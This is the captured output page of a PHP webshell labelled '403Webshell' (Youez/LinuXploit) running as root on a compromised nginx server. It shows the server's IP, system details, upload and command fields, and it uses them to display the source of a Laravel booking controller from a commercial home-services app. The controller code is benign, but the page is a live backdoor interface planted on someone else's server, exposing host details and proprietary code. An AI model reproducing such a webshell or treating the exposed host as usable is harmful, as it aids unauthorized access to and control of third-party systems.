403Webshell
Server IP : 14.225.204.176  /  Your IP : 216.73.216.6
Web Server : nginx/1.24.0
System : Linux nodejs-ybgk 6.8.0-40-generic #40-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 5 10:34:03 UTC 2024 x86_64
User : root ( 0)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/php/home-services/app/Http/Controllers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/php/home-services/app/Http/Controllers/ParentBookingController.php
<?php
/*
 * File name: ParentBookingController.php
 * Last modified: 2021.06.09 at 17:20:26
 * Author: SmarterVision - https://codecanyon.net/user/smartervision
 * Copyright (c) 2021
 */

namespace App\Http\Controllers;

use App\Events\BookingChangedEvent;
use App\Models\Booking;
use App\Notifications\NewBooking;
use App\Repositories\BookingRepository;
use App\Repositories\NotificationRepository;
use App\Repositories\PaymentRepository;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Notification;
use Prettus\Validator\Exceptions\ValidatorException;

abstract class ParentBookingController extends Controller
{
    /** @var  BookingRepository */
    protected $bookingRepository;
    /** @var  PaymentRepository */
    protected $paymentRepository;
    /** @var  NotificationRepository */
    protected $notificationRepository;
    /** @var Booking */
    protected $booking;
    /** @var int */
    protected $paymentMethodId;

    /**
     * BookingAPIController constructor.
     * @param BookingRepository $bookingRepo
     * @param PaymentRepository $paymentRepo
     * @param NotificationRepository $notificationRepo
     */
    public function __construct(BookingRepository $bookingRepo, PaymentRepository $paymentRepo, NotificationRepository $notificationRepo)
    {
        parent::__construct();
        $this->bookingRepository = $bookingRepo;
        $this->paymentRepository = $paymentRepo;
        $this->notificationRepository = $notificationRepo;
        $this->booking = new Booking();

        $this->__init();
    }

    abstract public function __init();

    protected function createBooking()
    {
        try {
            $payment = $this->createPayment();
            if ($payment != null) {
                $this->bookingRepository->update(['payment_id' => $payment->id], $this->booking->id);
                event(new BookingChangedEvent($this->booking->e_provider));
                $this->sendNotificationToProviders();
            }
        } catch (ValidatorException $e) {
            Log::error($e->getMessage());
        }
    }

    /**
     * @return mixed
     * @throws ValidatorException
     */
    protected function createPayment()
    {
        if ($this->booking != null && $this->paymentMethodId != null) {
            $input['amount'] = $this->booking->getTotal();
            $input['description'] = trans("lang.done");
            $input['payment_status_id'] = 2;
            $input['payment_method_id'] = $this->paymentMethodId;
            $input['user_id'] = $this->booking->user_id;
            try {
                return $this->paymentRepository->create($input);
            } catch (ValidatorException $e) {
                Log::error($e->getMessage());
            }
        }
        return null;
    }

    protected function sendNotificationToProviders()
    {
        Notification::send($this->booking->e_provider->users, new NewBooking($this->booking));
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit